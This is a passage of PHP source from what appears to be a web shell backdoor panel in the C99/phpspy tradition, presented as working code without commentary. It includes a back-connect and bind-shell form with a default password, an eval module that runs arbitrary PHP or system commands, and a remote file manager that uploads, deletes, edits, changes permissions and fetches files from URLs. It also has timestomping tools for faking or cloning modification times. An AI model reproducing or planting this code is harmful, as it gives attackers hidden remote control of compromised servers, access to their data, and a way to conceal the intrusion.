760 } else
761 $sBuff .= "Socket Conections not Allowed/Supported by the server!";
762 } else {
763 $sBuff .= '
764 <div class="table floatCenter">
765 <div class="table-row">
766 <div class="table-col floatCenter"><b>' . tText('bc0', 'Back Connect') . '</b></div>
767 <div class="table-col floatCenter"><b>' . tText('bc1', 'Bind Shell') . '</b></div>
768 </div>
769 <div class="table-row" style="text-align:left;">
770 <div class="table-col"><form>
771 ' . mInput('ip', $_SERVER['REMOTE_ADDR'], tText('bc2', 'IP'), 1) . '
772 ' . mInput('port', '31337', tText('bc3', 'Port'), 1) . '
773 ' . mSelect('mode', array('PHP'), 1, 0, 0, tText('bc4', 'Mode')) . '
774 ' . mSubmit(tText('bc6', 'Listen'), 'uiupdate(0)', 1) . '
775 </form></div>
776 <div class="table-col"><form>
777 ' . mInput('port', '31337', tText('bc3', 'Port'), 1) . '
778 ' . mInput('passwd', 'indetectables', tText('bc5', 'Password'), 1) . '
779 ' . mSelect('mode', array('PHP', 'Python'), 1, 0, 0, tText('bc4', 'Mode')) . '
780 ' . mSubmit(tText('bc7', 'Bind'), 'uiupdate(1)', 1) . '
781 </form></div>
782 </div>';
783 }
784 } else if ($p['me'] === 'execute') {
785 $sBuff .= '<h2>' . tText('ev0', 'Eval/Execute') . '</h2>';
786 $code = @trim($p['c']);
787 if ($code){
788 if (isset($p['e'])){
789 /*$locale = 'en_GB.utf-8';
790 setlocale(LC_ALL, $locale);
791 putenv('LC_ALL='.$locale);*/
792 $buf = execute($code, true);
793 $sBuff .= "<br><b>" . tText('ev4', 'Execute via') . ": </b>{$buf[1]}";
794 if (isset($p['dta']))
795 $sBuff .= "<br><textarea class='bigarea' readonly>{$buf[0]}</textarea><br>";
796 else
797 $sBuff .= "<br><pre>{$buf[0]}</pre><br>";
798 } else {
799 if (!preg_match('#<\?#si', $code))
800 $code = "<?php\n\n{$code}\n\n?>";
801
802 //hago esta chapuzada para que no se muestre el resultado arriba
803 echo 'Result of the executed code:';
804 $buf = ob_get_contents();
805
806 if ($buf){
807 ob_clean();
808 eval("?" . ">{$code}");
809 $ret = ob_get_contents();
810 $ret = convert_cyr_string($ret, 'd', 'w');
811 ob_clean();
812 $sBuff .= $buf;
813
814 if (isset($p['dta']))
815 $sBuff .= '<br><textarea class="bigarea" readonly>' . hsc($ret) . '</textarea>';
816 else
817 $sBuff .= "<br><pre>{$ret}</pre>";
818 } else
819 eval("?" . ">{$code}");
820 }
821 }
822
823 $sBuff .= '<form>
824 <textarea class="bigarea" name="c">' . (isset($p['c']) ? hsc($p['c']) : '') . '</textarea></p>
825 <p>' . tText('ev1', 'Display in text-area') . ': ' . mCheck('dta', '1', '', isset($p['dta'])) . '
826 ' . tText('execute', 'Execute') . ': ' . mCheck('e', '1', '', isset($p['e'])) . '
827 <a href="http://www.4ngel.net/phpspy/plugin/" target="_blank">[ ' . tText('ev3', 'Get examples') . ' ]</a>
828 <br><br>' . mSubmit(tText('go', 'Go!'), 'ajaxLoad(serialize(d.forms[0]))') . '</p>
829 ' . mHide('me', 'execute') . '
830 </form>';
831 } else if ($p['me'] === 'filemanager') {
832 $shelldir = getPath(SROOT, '.');
833
834 function dirsize($dir){
835 $f = $s = 0;
836 $dh = @opendir($dir);
837 while (false !== ($file = @readdir($dh))){
838 if ($file === '.' || $file === '..')
839 continue;
840
841 $path = $dir . DS . $file;
842 if (is_dir($path)){
843 $tmp = dirsize($path);
844 $f += $tmp['f'];
845 $s += $tmp['s'];
846 } else {
847 $f++;
848 $s += @filesize($path);
849 }
850 }
851 @closedir($dh);
852 return array ('f' => $f, 's' => $s);
853 }
854
855 function getChmod($filepath){
856 return substr(base_convert(@fileperms($filepath), 10, 8), -4);
857 }
858
859 function getPerms($filepath){ # C99r16
860 $mode = @fileperms($filepath);
861 if (($mode & 0xC000) === 0xC000) $type = 's'; // Socket
862 else if (($mode & 0x4000) === 0x4000) $type = 'd'; // Directory
863 else if (($mode & 0xA000) === 0xA000) $type = 'l'; // Symbolic Link
864 else if (($mode & 0x8000) === 0x8000) $type = '-'; // Regular
865 else if (($mode & 0x6000) === 0x6000) $type = 'b'; // Block special
866 else if (($mode & 0x2000) === 0x2000) $type = 'c'; // Character special
867 else if (($mode & 0x1000) === 0x1000) $type = 'pa';// FIFO pipe
868 else $type = '?'; // Unknown
869
870 $o['r'] = ($mode & 00400) ? 'r' : '-';
871 $o['w'] = ($mode & 00200) ? 'w' : '-';
872 $o['e'] = ($mode & 00100) ? 'x' : '-';
873 $g['r'] = ($mode & 00040) ? 'r' : '-';
874 $g['w'] = ($mode & 00020) ? 'w' : '-';
875 $g['e'] = ($mode & 00010) ? 'x' : '-';
876 $w['r'] = ($mode & 00004) ? 'r' : '-';
877 $w['w'] = ($mode & 00002) ? 'w' : '-';
878 $w['e'] = ($mode & 00001) ? 'x' : '-';
879
880 if ($mode & 0x800) $o['e'] = ($o['e']==='x') ? 's' : 'S';
881 if ($mode & 0x400) $g['e'] = ($g['e']==='x') ? 's' : 'S';
882 if ($mode & 0x200) $w['e'] = ($w['e']==='x') ? 't' : 'T';
883
884 return $type.$o['r'].$o['w'].$o['e'].$g['r'].$g['w'].$g['e'].$w['r'].$w['w'].$w['e'];
885 }
886
887 function getUser($filepath){
888 if (function_exists('posix_getpwuid')){
889 $array = @posix_getpwuid(@fileowner($filepath));
890 if ($array && is_array($array))
891 return mLink($array['name'], 'return false;', "title='User: {$array['name']} Passwd: {$array['passwd']} " .
892 "UID: {$array['uid']} GID: {$array['gid']} Gecos: {$array['gecos']} Dir: {$array['dir']} " .
893 "Shell: {$array['shell']}'", false);
894 }
895 return '';
896 }
897
898 function vPermsColor($t){
899 $c = 'mg';
900 if (!is_readable($t))
901 $c = 'mr';
902 else if (!is_writable($t))
903 $c = 'mw';
904 return "<font class='$c'>" . getChmod($t) . ' ' . getPerms($t) . "</font>";
905 }
906
907 function delTree($path){
908 $origipath = $path;
909 $h = opendir($path);
910 while (true){
911 $item = readdir($h);
912 if ($item === '.' or $item === '..')
913 continue;
914
915 if (gettype($item) === 'boolean'){
916 closedir($h);
917 if (!@rmdir($path))
918 return false;
919
920 if ($path == $origipath)
921 break;
922
923 $path = substr($path, 0, strrpos($path, DS));
924 $h = opendir($path);
925 } else if (is_dir($path . DS . $item)){
926 closedir($h);
927 $path = $path . DS . $item;
928 $h = opendir($path);
929 } else
930 unlink($path . DS . $item);
931 }
932 return true;
933 }
934
935 function recursiveCopy($path, $dest){
936 if (is_dir($path)){
937 @mkdir($dest);
938 $objects = scandir($path);
939 if (sizeof($objects) > 0){
940 foreach($objects as $file){
941 if ($file !== '.' && $file !== '..'){
942 if (is_dir($path.$file))
943 recursiveCopy($path . $file . DS, $dest . DS . $file . DS);
944 else
945 copy($path . $file, $dest . $file);
946 }
947 }
948 }
949 return true;
950 } else if(is_file($path)){
951 return copy($path, $dest);
952 } else {
953 return false;
954 }
955 }
956
957 function getext($file){
958 //$info = pathinfo($file);
959 return pathinfo($file, PATHINFO_EXTENSION);
960 }
961
962 function checkFile($t, $w, $f){
963 $ret = true;
964 if ($w)
965 $ret = $ret && is_writable($t);
966
967 /*if ($f){
968 if ($re)
969 $ret = $ret && (preg_match('@' . $sBuff . '@', $file) || preg_match('@' . $sBuff . '@', @file_get_contents($f)))
970 else
971 $ret = $ret && (strstr($file, $sBuff) || strstr(@file_get_contents($f), $sBuff))
972 }
973
974 if ($extFilter)
975 $ret = $ret && (in_array(getext($f), explode(',', $extFilter)));
976 */
977
978 return $ret;
979 }
980
981 function fileList($typ, $dir, $limit, $page, $onlyW = false, $find = false, $rec = false, $count = 0){
982 global $fDataD, $fDataF;
983 $sFolder = $sFile = $show = true;
984 if ($limit){
985 $show = false;
986 if (!isset($page))
987 $page = 1;
988
989 $start = $limit * ($page - 1);
990 $limit = $limit * $page;
991 }
992
993 if ($typ === 'dir')
994 $sFile = false;
995 else if ($typ === 'file')
996 $sFolder = false;
997
998 if ($res = opendir($dir)){
999 while ($file = readdir($res)){
1000 if ($limit) {
1001 if ($count == $start)
1002 $show = true;
1003
1004 if ($count == $limit)
1005 break;
1006 }
1007
1008 if ($file !== '.' && $file !== '..' && is_dir($dir . $file)){
1009 if ($rec)
1010 //yield fileList($typ, $dir . $file, $limit, $page, $find, $rec, $count);
1011 fileList($typ, $dir . $file, $limit, $page, $find, $rec, $count);
1012 else if ($show && $sFolder && checkFile($dir . $file, $onlyW, $find))
1013 //yield array('t'=>'d', 'n'=>$file);
1014 $fDataD[] = $file;
1015
1016 $count++;
1017 } else if (is_file($dir . $file) && $sFile){
1018 if ($show && checkFile($dir . $file, $onlyW, $find))
1019 //yield array('t'=>'f', 'n'=>$file);
1020 $fDataF[] = $file;
1021
1022 $count++;
1023 } //TODO syslinks
1024 }
1025
1026 closedir($res);
1027 @clearstatcache();
1028 }
1029 }
1030
1031 if (@$p['md'] === 'vs'){
1032 $s = dirsize($p['f']);
1033 sAjax(is_numeric($s['s']) ? sizecount($s['s']) . ' (' . $s['f'] . ')' : 'Error?');
1034 } else if (@$p['md'] === 'tools'){
1035 switch ($p['ac']){
1036 case 'cdir':
1037 if (file_exists($p['a'] . $p['b']))
1038 sAjax(tText('alredyexists', 'object alredy exists'));
1039
1040 @mkdir($p['a'] . $p['b'], 0777);
1041 @chmod($p['a'] . $p['b'], 0777);
1042 if (file_exists($p['a'] . $p['b']))
1043 sAjax('OK');
1044
1045 sAjax(tText('fail', 'Fail!'));
1046 break;
1047 case 'cfile':
1048 if (file_exists($p['a'] . $p['b']))
1049 sAjax(tText('alredyexists', 'object alredy exists'));
1050
1051 if (false !== file_put_contents($p['a'] . $p['b'], ''))
1052 sAjax('OK');
1053
1054 sAjax(tText('accessdenied', 'Access denied'));
1055 break;
1056 case 'comp':
1057 if ($p['dl']){
1058 $zip = new PHPZip();
1059 $zip->Zipper($p['fl'], $p['dl']);
1060 header('Content-Type: application/octet-stream');
1061 header('Accept-Ranges: bytes');
1062 header('Accept-Length: ' . strlen($compress));
1063 header('Content-Disposition: attachment;filename=' . $_SERVER['HTTP_HOST'] . '_' . date('Ymd-His') . '.zip');
1064 echo $zip->file();
1065 exit;
1066 }
1067 break;
1068 case 'uncomp':
1069 if ($p['dl']){
1070 $types['zip'] = 'zip';
1071 $types['tar'] = 'tar';
1072 $types['tar.gz'] = 'targz';
1073 $types['tgz'] = 'targz';
1074
1075 $fNames = array();
1076 foreach($p['dl'] as $value){
1077 $ext = pathinfo($value);
1078 if (isset($types[ $ext['extension'] ]))
1079 if (decompress($types[ $ext['extension'] ], $p['fl'] . $value, $p['fl']))
1080 $fNames[] = $value;
1081 }
1082
1083 sAjax(tText('pfm', 'Process files:') . implode(', ', $fNames) . ' (' . count($fNames) . ')');
1084 }
1085 break;
1086 case 'reup':
1087 if (download($p['b'], $p['a'] . basename($p['b'])))
1088 sAjax('OK');
1089
1090 sAjax(tText('fail', 'Fail'));
1091 break;
1092 case 'copy':
1093 if ($p['dl']){
1094 $fNames = Array();
1095 $total = count($p['dl']);
1096 if ($p['b'][(strlen($p['b']) - 1)] !== DS) $p['b'] .= DS;
1097 for ($z = 0; $total > $z; $z++){
1098 $fileinfo = pathinfo($p['fl'] . $p['dl'][$z]);
1099 if (!file_exists($p['fl'] . $p['dl'][$z]))
1100 sAjax(tText('notexist', 'Object does not exist'));
1101
1102 if (is_dir($p['fl'] . $p['dl'][$z])){
1103 if (!@recursiveCopy($p['fl'] . $p['dl'][$z], $p['b'] . $fileinfo['basename'] . DS)) $fNames[] = $p['dl'][$z];
1104 } else {
1105 if (!@copy($p['fl'] . $p['dl'][$z], $p['b'] . $fileinfo['basename'])) $fNames[] = $p['dl'][$z];
1106 }
1107 }
1108
1109 sAjax(hsc(tText('total', 'Total') . ': ' . $total . ' [' . tText('correct', 'correct') . ' ' . ($total - count($fNames)) . ' - ' . tText('failed', 'failed') . ' '. count($fNames) . (count($fNames) == 0 ? '' : ' (' . implode(', ', $fNames) . ')') . ']'));
1110 }
1111 break;
1112 case 'del':
1113 if (!file_exists($p['a']))
1114 sAjax(tText('notexist', 'Object does not exist'));
1115
1116 sAjax((is_dir($p['a']) ? @delTree($p['a']) : @unlink($p['a'])) ? 'OK' : tText('fail', 'Fail!'));
1117 break;
1118 case 'rdel':
1119 if ($p['dl']){
1120 $fNames = Array();
1121 $total = count($p['dl']);
1122 for ($z = 0; $total > $z; $z++){
1123 if (is_dir($p['fl'] . $p['dl'][$z])){
1124 if (!@delTree($p['fl'] . $p['dl'][$z])) $fNames[] = $p['dl'][$z];
1125 } else {
1126 if (!@unlink($p['fl'] . $p['dl'][$z])) $fNames[] = $p['dl'][$z];
1127 }
1128 }
1129 sAjax(tText('total', 'Total') . ': ' . $total . ' [' . tText('correct', 'correct') . ' ' . ($total - count($fNames)) . ' - ' . tText('failed', 'failed') . ' '. count($fNames) . (count($fNames) == 0 ? '' : ' (' . implode(', ', $fNames) . ')') . ']');
1130 }
1131 break;
1132 case 'dl':
1133 if (!file_exists($p['fl']))
1134 sAjax(tText('notexist', 'Object does not exist'));
1135
1136 $fileinfo = pathinfo($p['fl']);
1137 header('Content-Type: application/x-' . $fileinfo['extension']);
1138 header('Content-Disposition: attachment; filename=' . $fileinfo['basename']);
1139 header('Content-Length: ' . filesize($p['fl']));
1140 readfile($p['fl']);
1141 exit;
1142 break;
1143 case 'edit':
1144 if (file_put_contents($p['a'], $p['fc']))
1145 sAjax(tText('ok', 'Ok!'));
1146
1147 tText('fail', 'Fail!');
1148 break;
1149 case 'mdate':
1150 if (!@file_exists($p['a']))
1151 sAjax(tText('notexist', 'Object does not exist'));
1152
1153 if (isset($p['b'])) $time = strtotime($p['b']);
1154 else $time = strtotime($p['y'] . '-' . $p['m'] . '-' . $p['d'] . ' ' . $p['h'] . ':' . $p['i'] . ':' . $p['s']);
1155 sAjax(@touch($p['a'], $time, $time) ? tText('ok', 'Ok!') : tText('fail', 'Fail!'));
1156 break;
1157 case 'mdatec':
1158 if (!@file_exists($p['a']) || !@file_exists($p['b']))
1159 sAjax(tText('notexist', 'Object does not exist'));
1160
1161 $time = @filemtime($p['b']);
1162 sAjax(@touch($p['a'], $time, $time) ? tText('ok', 'Ok!') : tText('fail', 'Fail!'));
1163 break;
1164 case 'mpers':
1165 if (!file_exists($p['a']))
1166 sAjax(tText('notexist', 'Object does not exist'));
1167
1168 sAjax(@chmod($p['a'], base_convert($p['b'], 8, 10)) ? 'OK' : tText('fail', 'Fail!'));
1169 break;
1170 case 'ren':
1171 if (!file_exists($p['a']))
1172 sAjax(tText('notexist', 'Object does not exist'));
1173
1174 sAjax(@rename($p['a'], $p['b']) ? 'OK' : tText('fail', 'Fail!'));
1175 break;
1176 }
1177 } else if (@$p['md'] === 'info'){
1178 if (file_exists($p['t'])){
1179 $sBuff .= '<h2>' . tText('information', 'Information') . ' [' . mLink(tText('goback', 'Go Back'), 'ajaxLoad("me=filemanager&dir=' . rawurlencode(getUpPath($p['t'])) . '")') . ']</h2>
1180 <table border=0 cellspacing=1 cellpadding=2>
1181 <tr><td><b>' . tText('path', 'Path') . '</b></td><td>' . hsc($p['t']) . '</td></tr>
1182 <tr><td><b>' . tText('size', 'Size') . '</b></td><td>' . sizecount(filesize($p['t'])) . '</td></tr>
1183 <tr><td><b>' . tText('md5', 'MD5') . '</b></td><td>' . strtoupper(@md5_file($p['t'])) . '</td></tr>
1184 <tr><td><b>' . tText('sha1', 'SHA1') . '</b></td><td>' . strtoupper(@sha1_file($p['t'])) . '</td></tr>
1185 <tr><td><b>' . tText('ctime', 'Create time') . '</b></td><td>' . date($config['datetime'], filectime($p['t'])) . '</td></tr>
1186 <tr><td><b>' . tText('atime', 'Access time') . '</b></td><td>' . date($config['datetime'], fileatime($p['t'])) . '</td></tr>
1187 <tr><td><b>' . tText('mtime', 'Modify time') . '</b></td><td>' . date($config['datetime'], filemtime($p['t'])) . '</td></tr>';
1188
1189 if (!$isWIN){
1190 $ow = posix_getpwuid(fileowner($p['t']));
1191 $gr = posix_getgrgid(filegroup($p['t']));
1192 $sBuff .= '<tr><td><b>' . tText('chmodchown', 'Chmod/Chown') . '</b></td><td>' .
1193 ($ow['name'] ? $ow['name'] : fileowner($p['t'])) . '/' . ($gr['name'] ? $gr['name'] : filegroup($p['t'])) .
1194 '<tr><td><b>' . tText('perms', 'Perms') . '</b></td><td>' . vPermsColor($p['t']) . '</td></tr>';
1195 }
1196 $sBuff .= '</table><br>';
1197
1198 $fp = @fopen($p['t'], 'rb');
1199 if ($fp){
1200 $sBuff .= '<div data-path="' . $p['t'] . '"><p>
1201 [' . mLink(tText('hl', 'Highlight'), 'ajaxLoad("me=filemanager&md=info&hl=n&t=" + euc(dpath(this, false)))') . ']
1202 [' . mLink(tText('hlp', 'Highlight +'), 'ajaxLoad("me=filemanager&md=info&hl=p&t=" + euc(dpath(this, false)))') . ']
1203 [' . mLink(tText('hd', 'Hexdump'), 'ajaxLoad("me=filemanager&md=info&hd=n&t=" + euc(dpath(this, false)))') . ']
1204 [' . mLink(tText('hdp', 'Hexdump preview'), 'ajaxLoad("me=filemanager&md=info&hd=p&t=" + euc(dpath(this, false)))') . ']
1205 [' . mLink(tText('edit', 'Edit'), 'ajaxLoad("me=filemanager&md=edit&t=" + euc(dpath(this, false)))') . ']
1206 </p></div><br><br>';
1207
1208 if (isset($p['hd'])){
1209 if ($p['hd'] === 'n'){
1210 $sBuff .= '<b>Hex Dump</b><br>';
1211 $str = fread($fp, filesize($p['t']));
1212 } else {
1213 $sBuff .= '<b>Hex Dump Preview</b><br>';
1214 $str = fread($fp, $config['hd_lines'] * $config['hd_rows']);
1215 }
1216
1217 $show_offset = '00000000<br>';
1218 $show_hex = '';
1219 $show_sBuff = '';
1220 $counter = 0;
1221 $str_len = strlen($str);
1222 for ($i = 0; $i < $str_len; $i++){
1223 $counter++;
1224 $show_hex .= sprintf('%02X', ord($str[$i])) . ' ';
1225 switch (ord($str[$i])){
1226 case 0 :
1227 case 9 :
1228 case 10:
1229 case 13:
1230 case 32: $show_sBuff .= ' ';
1231 break;
1232 default: $show_sBuff .= $str[$i];
1233 }
1234 if ($counter === $config['hd_rows']){
1235 $counter = 0;
1236 if ($i + 1 < $str_len)
1237 $show_offset .= sprintf('%08X', $i + 1) . '<br>';
1238 $show_hex .= '<br>';
1239 $show_sBuff .= "\n";
1240 }
1241 }
1242 $sBuff .= '<center><table border=0 bgcolor=#666666 cellspacing=1 cellpadding=5><tr><td bgcolor=#666666><pre>' . $show_offset . '</pre></td><td bgcolor=000000><pre>' . $show_hex . '</pre></td><td bgcolor=000000><pre>' . hsc($show_sBuff) . '</pre></td></tr></table></center><br>';
1243 } else if (isset($p['hl'])){
1244 if (function_exists('highlight_file')){
1245 if ($p['hl'] === 'n'){
1246 $sBuff .= '<b>Highlight:</b><br>' .
1247 '<div class=ml1 style="background-color: #e1e1e1; color:black;">' . highlight_file($p['t'], true) . '</div>';
1248 } else {
1249 $code = substr(highlight_file($p['t'], true), 36, -15);
1250 //if (substr_count($code, '<br>') > substr_count($code, "\n"))
1251 $lines = explode('<br />', $code);
1252 $pl = strlen(count($lines));
1253 $sBuff .= '<b>Highlight +:</b><br><div class=ml1 style="background-color: #e1e1e1; color:black;">';
1254
1255 foreach($lines as $i => $line){
1256 $sBuff .= sprintf('<span style="color: #999999;font-weight: bold">%s | </span>%s<br>', str_pad($i + 1, $pl, '0', STR_PAD_LEFT), $line);
1257 }
1258
1259 $sBuff .= '</div>';
1260 }
1261 } else
1262 $sBuff .= sDialog(tText('hlerror', 'highlight_file() dont exist!'));
1263 } else {
1264 $str = @fread($fp, filesize($p['t']));
1265 $sBuff .= '<b>File:</b><br>' .
1266 '<textarea class="bigarea" readonly>' . hsc($str) . '</textarea><br><br>';
1267 }
1268 }
1269 } else
1270 $sBuff .= sDialog(tText('accessdenied', 'Access denied'));
1271
1272 @fclose($fp);
1273 } else if (@$p['md'] === 'edit'){
1274 if (file_exists($p['t'])){
1275 $filemtime = explode('-', @date('Y-m-d-H-i-s', filemtime($p['t'])));
1276 $sBuff .= '<h2>' . tText('edit', 'Edit') . ' [' . mLink(tText('goback', 'Go Back'), 'ajaxLoad("me=filemanager&dir=' . rawurlencode(getUpPath($p['t'])) . '")') . ']</h2>
1277 <div class="alt1 stdui"><form name="cldate">
1278 ' . mHide('me', 'file') . mHide('md', 'tools') . mHide('ac', 'mdatec') . '
1279 <h3>' . tText('e1', 'Clone folder/file last modified time') . '</h3>
1280 ' . mInput('a', $p['t'], tText('e2', 'Alter folder/file'), 1, '', 'style="width: 99%;" disabled') . '
1281 ' . mInput('b', '', tText('e3', 'Reference folder/file (fullpath)'), 1, '', 'style="width: 99%;"') . '
1282 ' . mSubmit(tText('go', 'Go!'), 'uiupdate(0)') . '
1283 </form></div><br><br>
1284 <div class="alt1 stdui"><form name="chdate">
1285 ' . mHide('me', 'file') . mHide('md', 'tools') . mHide('ac', 'mdate') . '
1286 <h3>' . tText('e4', 'Set last modified time') . '</h3>
1287 ' . mInput('a', $p['t'], tText('e5', 'Current folder/file (fullpath)'), 1, '', 'style="width: 99%;" disabled') . '
1288 <p>
1289 ' . tText('year', 'year') . ': ' . mInput('y', $filemtime[0], '', '', '', 'size="4"') . '
1290 ' . tText('month', 'month') . ': ' . mInput('m', $filemtime[1], '', '', '', 'size="2"') . '
1291 ' . tText('day', 'day') . ': ' . mInput('d', $filemtime[2], '', '', '', 'size="2"') . '
1292 ' . tText('hour', 'hour') . ': ' . mInput('h', $filemtime[3], '', '', '', 'size="2"') . '
1293 ' . tText('minute', 'minute') . ': ' . mInput('i', $filemtime[4], '', '', '', 'size="2"') . '
1294 ' . tText('second', 'second') . ': ' . mInput('s', $filemtime[5], '', '', '', 'size="2"') . '
1295 </p>
1296 ' . mSubmit(tText('go', 'Go!'), 'uiupdate(1)') . '
1297 </form></div><br><br>';
1298
1299 $fp = @fopen($p['t'], 'r');
1300 if ($fp) {
1301 $sBuff .= '<div class="alt1 stdui"><form data-path="' . $p['t'] . '">
1302 ' . mHide('me', 'file') . mHide('md', 'tools') . mHide('ac', 'edit') . mHide('a', $p['t']) . '
1303 <h3>' . tText('e5', 'Edit file') . '</h3>
1304 <p>
1305 [' . mLink(tText('hl', 'Highlight'), 'ajaxLoad("me=filemanager&md=info&hl=n&t=" + euc(dpath(this, false)))') . ']
1306 [' . mLink(tText('hlp', 'Highlight +'), 'ajaxLoad("me=filemanager&md=info&hl=p&t=" + euc(dpath(this, false)))') . ']
1307 [' . mLink(tText('hd', 'Hexdump'), 'ajaxLoad("me=filemanager&md=info&hd=n&t=" + euc(dpath(this, false)))') . ']
1308 [' . mLink(tText('hdp', 'Hexdump preview'), 'ajaxLoad("me=filemanager&md=info&hd=p&t=" + euc(dpath(this, false)))') . ']
1309 </p><br>
1310 <textarea name="fc" cols="100" rows="25" style="width: 99%;">' . hsc(@fread($fp, filesize($p['t']))) . '</textarea>
1311 ' . mSubmit(tText('go', 'Go!'), 'uiupdate(2)') . '
1312 </form></div><br><br>';
1313 }
1314 @fclose($fp);
1315 }
1316 } else {
1317 if (isset($p['ac']) && $p['ac'] === 'up')
1318 $sBuff .= sDialog(@copy($_FILES['upf']['tmp_name'], $p['dir'] . DS . $_FILES['upf']['name']) ? tText('upload', 'Upload') . ' ' . tText('ok', 'Ok!') : tText('fail', 'Fail!'));
1319
1320 $currentdir = $shelldir;
1321 if (!empty($p['dir'])){
1322 $p['dir'] = fixRoute($p['dir']);
1323 if (substr($p['dir'], -1) !== DS) $p['dir'] = $p['dir'] . DS;
1324 $currentdir = $p['dir'];
1325 }
1326
1327 $sBuff .= '<form name="fmg"><table width="100%" border="0" cellpadding="15" cellspacing="0"><tr><td>';
1328
1329 $free = @disk_free_space($currentdir);
1330 $all = @disk_total_space($currentdir);
1331 if ($free) $sBuff .= '<h2>' . tText('freespace', 'Free space') . ' ' . sizecount($free) . ' ' . tText('of', 'of') . ' ' . sizecount($all) . ' (' . round(100 / ($all / $free), 2) . '%)</h2>';
1332
1333 $fp = '';
1334 $lnks = '';
1335 foreach (explode(DS, $currentdir) as $tmp){
1336 if (!empty($tmp) || empty($fp)){
1337 $fp .= $tmp . DS;
1338 $lnks .= mLink($tmp . DS, 'godisk(this)', "data-path='{$fp}'") . ' ';
1339 }
1340 }
1341 unset($fp, $tmp);
1342
1343 $sBuff .= '<table width="100%" border="0" cellpadding="0" cellspacing="0" style="margin:10px 0;">
1344 <tr>
1345 <td nowrap>' . tText('acdir', 'Current directory') . ' [' . (@is_writable($currentdir) ? tText('writable', 'Writable') : tText('no', 'No') . ' ' . tText('writable', 'Writable')) . ($isWIN ? '' : ', ' . getChmod($currentdir)) . ']: </td>
1346 <td width="100%"><span id="sgoui" class="hide"><div class="image dir" onclick="change(\'sgoui\', \'lnks\')"></div>
1347 ' . mInput('goui', $currentdir, '', '', '', 'size="100%"') . '
1348 ' . mSubmit(tText('go', 'Go!'), 'godirui()', '', 'style="width: 5px;display: inline;"') . '</span><span id="lnks"><div class="image edit" onclick="change(\'lnks\', \'sgoui\')"></div> '. $lnks .'</span></td>
1349 </tr>
1350 </table>
1351 <tr class="alt1"><td colspan="7" style="padding:5px;">';
1352
1353 if ($isWIN){
1354 $sBuff .= tText('drive', 'Drive') . ': ';
1355 if (class_exists('COM')){
1356 $obj = new COM('scripting.filesystemobject');
1357 if ($obj && is_object($obj)){
1358 $DriveTypeDB = array(0 => tText('unknow', 'Unknow'),
1359 1 => tText('removable', 'Removable'),
1360 2 => tText('fixed', 'Fixed'),
1361 3 => tText('network', 'Network'),
1362 4 => tText('cdrom', 'CDRom'),
1363 5 => tText('ramdisk', 'RAM Disk'));
1364
1365 foreach ($obj->Drives as $drive){
1366 $sBuff .= ' [<a href="#" data-path="' . $drive->Path . '/\'" onclick=';
1367 if ($drive->DriveType == 2)
1368 $sBuff .= '"godisk(this);return false;" title="' . tText('size', 'Size') . ':' . sizecount($drive->TotalSize) . ' ' . tText('free', 'Free') . ':' . sizecount($drive->FreeSpace) . ' ' . tText('type', 'Type') . ':' . $DriveTypeDB[$drive->DriveType] . '">' . $DriveTypeDB[$drive->DriveType] . ' ' . $drive->Path . '</a>] ';
1369 else
1370 $sBuff .= '"if (confirm(\'' . tText('derror', 'Make sure that disk is avarible, otherwise an error may occur.') . '\')) godisk(this);return false;" title="' . tText('type', 'Type') . ':' . $DriveTypeDB[$drive->DriveType] . '">' . $DriveTypeDB[$drive->DriveType] . ' ' . $drive->Path . '</a>]';
1371 }
1372 }
1373 } else {
1374 foreach (range('A', 'Z') as $letter)
1375 if (@is_readable("{$letter}:\\"))
1376 $sBuff .= ' [' . mLink("{$letter}:", 'godisk(this)', "data-path='{$letter}:\\'") . '] ';
1377 }
1378 $sBuff .= '<br>';
1379 }
1380
1381 $sBuff .= tText('fmso', 'Show only') . ': <b>' . (isset($p['fm_mode']) ? $p['fm_mode'] : tText('all', 'All')) . '</b> ' .
1382 tText('fmow', 'Only writable') . ': <b>' . (isset($p['fm_onlyW']) ? tText('yes', 'yes') : tText('no', 'no')) . '</b> ' .
1383 tText('fmrl', 'Recursive listing') . ': <b>' . (isset($p['fm_rec']) ? tText('yes', 'yes') : tText('no', 'no')) . '</b><br>' .
1384 mLink(tText('webroot', 'WebRoot'), 'godisk(this)', "data-path='{$_SERVER['DOCUMENT_ROOT']}'") . ' | ' .
1385 mLink(tText('createdir', 'Create directory'), 'showUI("cdir", this)') . ' | ' .
1386 mLink(tText('createfile', 'Create file'), 'showUI("cfile", this)') . ' | ' .
1387 mLink(tText('upload', 'Upload'), 'up()') . ' | ' .
1388 mLink(tText('showfmextras', 'Show extra tools'), 'showFMExtras()') . '<br></td></tr></table><br>';
1389
1390 if (is_dir($currentdir)){
1391 $bg = 2;
1392 $c = $d = 0;
1393 $drf = fixRoute($_SERVER['DOCUMENT_ROOT']);
1394 $baseURL = str_replace(DS, '/', str_replace($drf, '', $currentdir));
1395 $isLinked = strncasecmp($drf, $currentdir, strlen($_SERVER['DOCUMENT_ROOT'])) === 0 ? true : false;
1396
1397 $sBuff .= '<table id="sort" class="explore sortable">
1398 <thead><tr data-path="' . getUpPath($currentdir) . '" class="alt1">
1399 <td class="alt1 sorttable_nosort" width="5px">' . mLink('<div class="image lnk"></div>', 'godir(this, false)') . '</td>
1400 <td class="touch" width="60%"><b>' . tText('name', 'Name') . '</b></td>
1401 <td class="touch"><b>' . tText('date', 'Date') . '</b></td>
1402 <td class="touch"><b>' . tText('size', 'Size') . '</b></td>
1403 ' . (! $isWIN ? '<td class="touch"><b>' . tText('chmodchown', 'Chmod/Chown') . '</b></td>' : '') . '
1404 <td width="120px"><b>' . tText('actions', 'Actions') . '</b></td>
1405 </tr></thead>
1406 <tbody>';
1407
1408 $fDataD = $fDataF = array();
1409 fileList($p['fm_mode'], $currentdir, $config['FMLimit'], $p['pg'], isset($p['fm_onlyW']), $p['fm_find'], isset($p['fm_rec']));
1410
1411 @natcasesort($fDataD);
1412 foreach ($fDataD as $file){
1413 $d++;
1414 $ft = filemtime($currentdir . $file);
1415 $sBuff .= '<tr data-path="' . $file . DS . '" class="' . (($bg++ % 2 == 0) ? 'alt1' : 'alt2') . '">
1416 <td><input type="checkbox" value="' . $file . DS . '" name="dl[]"></td>
1417 <td><div class="image dir"></div><a href="#" onclick="godir(this, true);return false;">' . $file . '</a></td>
1418 <td><a href="#" onclick="showUI(\'mdate\', this);return false;" data-ft="' . date('Y-m-d H:i:s', $ft) . '">' . date($config['datetime'], $ft) . '</a></td>
1419 <td><a href="#" onclick="viewSize(this);return false;">[?]</a></td>
